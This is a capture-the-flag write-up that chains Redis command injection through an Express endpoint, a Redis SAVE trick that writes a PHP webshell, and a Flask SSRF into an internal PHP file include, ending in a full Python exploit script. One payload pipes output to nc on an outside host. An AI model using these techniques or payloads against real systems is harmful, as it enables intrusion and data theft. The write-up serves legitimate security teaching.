Three Languages, One Container

phpythonode packs three web stacks into one container, plus a Redis instance and a setuid readflag helper.

Node / Express   :3000   (exposed)   Redis-backed sessions, a /show_logs endpoint
Python / Flask   :8000   (exposed)   an /img_viewer SSRF
PHP / Apache     :80     (internal)  index.php with a LFI-style include
Redis            (internal, shared by Node)
/readflag        setuid binary that prints the real flag

Only Node and Python face the outside. The real flag is only readable by running /readflag, and only the internal PHP service can be coaxed into executing code. So the win condition is a chain: reach Redis through Node, use Redis to plant a PHP webshell, reach PHP through Python’s SSRF, and have PHP run /readflag.

Step 1: Redis Command Injection via Node

The Node API exposes /show_logs, which is meant to run a fixed GET against Redis:

app.get('/show_logs', function(req, res) {
    var log_query = req.query.log_query;
    try {
        log_query = log_query.split('/');
        if (log_query[0].toLowerCase() != 'get') {
            log_query[0] = 'get';
        }
        log_query[1] = log_query.slice(1)
    } catch (err) {
        // swallowed
    }
    redis_client.send_command(log_query[0], log_query[1], /* ... */);
});

The intended use is ?log_query=get/log_info. But look at the error handling: if log_query is not a string, log_query.split('/') throws, and the empty catch swallows the exception. Whatever log_query was is passed straight into send_command.

Express parses bracketed query params into arrays and objects. By sending log_query[0] and log_query[1][...] as separate parameters, log_query arrives as an array with no .split method. The guard throws, is ignored, and we get arbitrary Redis command execution with full control over the command name and its arguments.

/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp

Step 2: A PHP Webshell via Redis SAVE

Redis persists its dataset to disk with SAVE, and it lets you choose where and what. That is the classic Redis-to-webshell primitive: point the RDB dump at the web-reachable filesystem, stuff a value with PHP, and save.

CONFIG SET dir /tmp
CONFIG SET dbfilename redis.php
SET test "<?php system('/readflag | nc <me>:5555'); ?>"
SAVE

Driven through the /show_logs injection, this writes /tmp/redis.php. The RDB file has binary header/footer noise around the value, but PHP simply ignores everything outside <?php ... ?>, so the payload still executes.

Step 3: SSRF Into the Internal PHP LFI

The PHP front controller includes a user-controlled page name:

// index.php
include $_GET['page'] ? $_GET['page'].'.php' : 'main.php';

page=/tmp/redis makes it include('/tmp/redis.php'), our webshell. PHP is not exposed externally, but Python’s image viewer is a willing proxy:

@app.route('/img_viewer', methods=['POST'])
def img_viewer():
    url = request.form.get('url', '')
    data = requests.get(url, timeout=3).content       # SSRF
    img = base64.b64encode(data).decode('utf8')
    return render_template('img_viewer.html', img=img)

It fetches any URL server-side and returns the response base64-encoded in the page. That is a perfect exfiltration channel: point it at the internal PHP, which includes our webshell, which runs /readflag, and read the flag back out of the base64 image blob.

requests.post("http://target:8000/img_viewer",
              data={"url": "http://localhost:80/index.php?page=/tmp/redis"})

Full Chain

import requests
s = requests.Session()
node = "http://target:3000"

# 1) plant a PHP webshell through Redis, via the /show_logs injection
def redis(*args):
    q = "&".join(f"log_query[1][{i}]={a}" for i, a in enumerate(args[1:]))
    s.get(f"{node}/show_logs?log_query[0]={args[0]}&{q}")

redis("config", "set", "dir", "/tmp")
redis("config", "set", "dbfilename", "redis.php")
redis("set", "test", "<?php system('/readflag'); ?>")
redis("save")

# 2) SSRF from Python -> internal PHP -> include /tmp/redis.php -> runs /readflag
r = s.post("http://target:8000/img_viewer",
           data={"url": "http://localhost:80/index.php?page=/tmp/redis"})
# 3) the flag comes back inside the base64 image blob
print(r.text)

Decoding the base64 image reveals the readflag output, id plus the flag:

uid=100(apache) gid=101(apache) groups=...,3333(www-data)
DH{REDACTED}

Takeaways

phpythonode is a great model of how multi-service architectures fail. No single service is exploitable on its own. Node only talks to Redis, PHP is not exposed, and Python “just fetches images.” The break comes from stitching their trust relationships together: an over-forgiving catch turns a fixed Redis query into command injection, Redis’s own persistence becomes a file-write primitive, and an SSRF is the bridge that lets an external attacker drive the internal PHP.

The most instructive bug is the smallest one, an empty catch block. It was meant to ignore malformed input, but instead it silently discarded the one check that constrained the Redis command.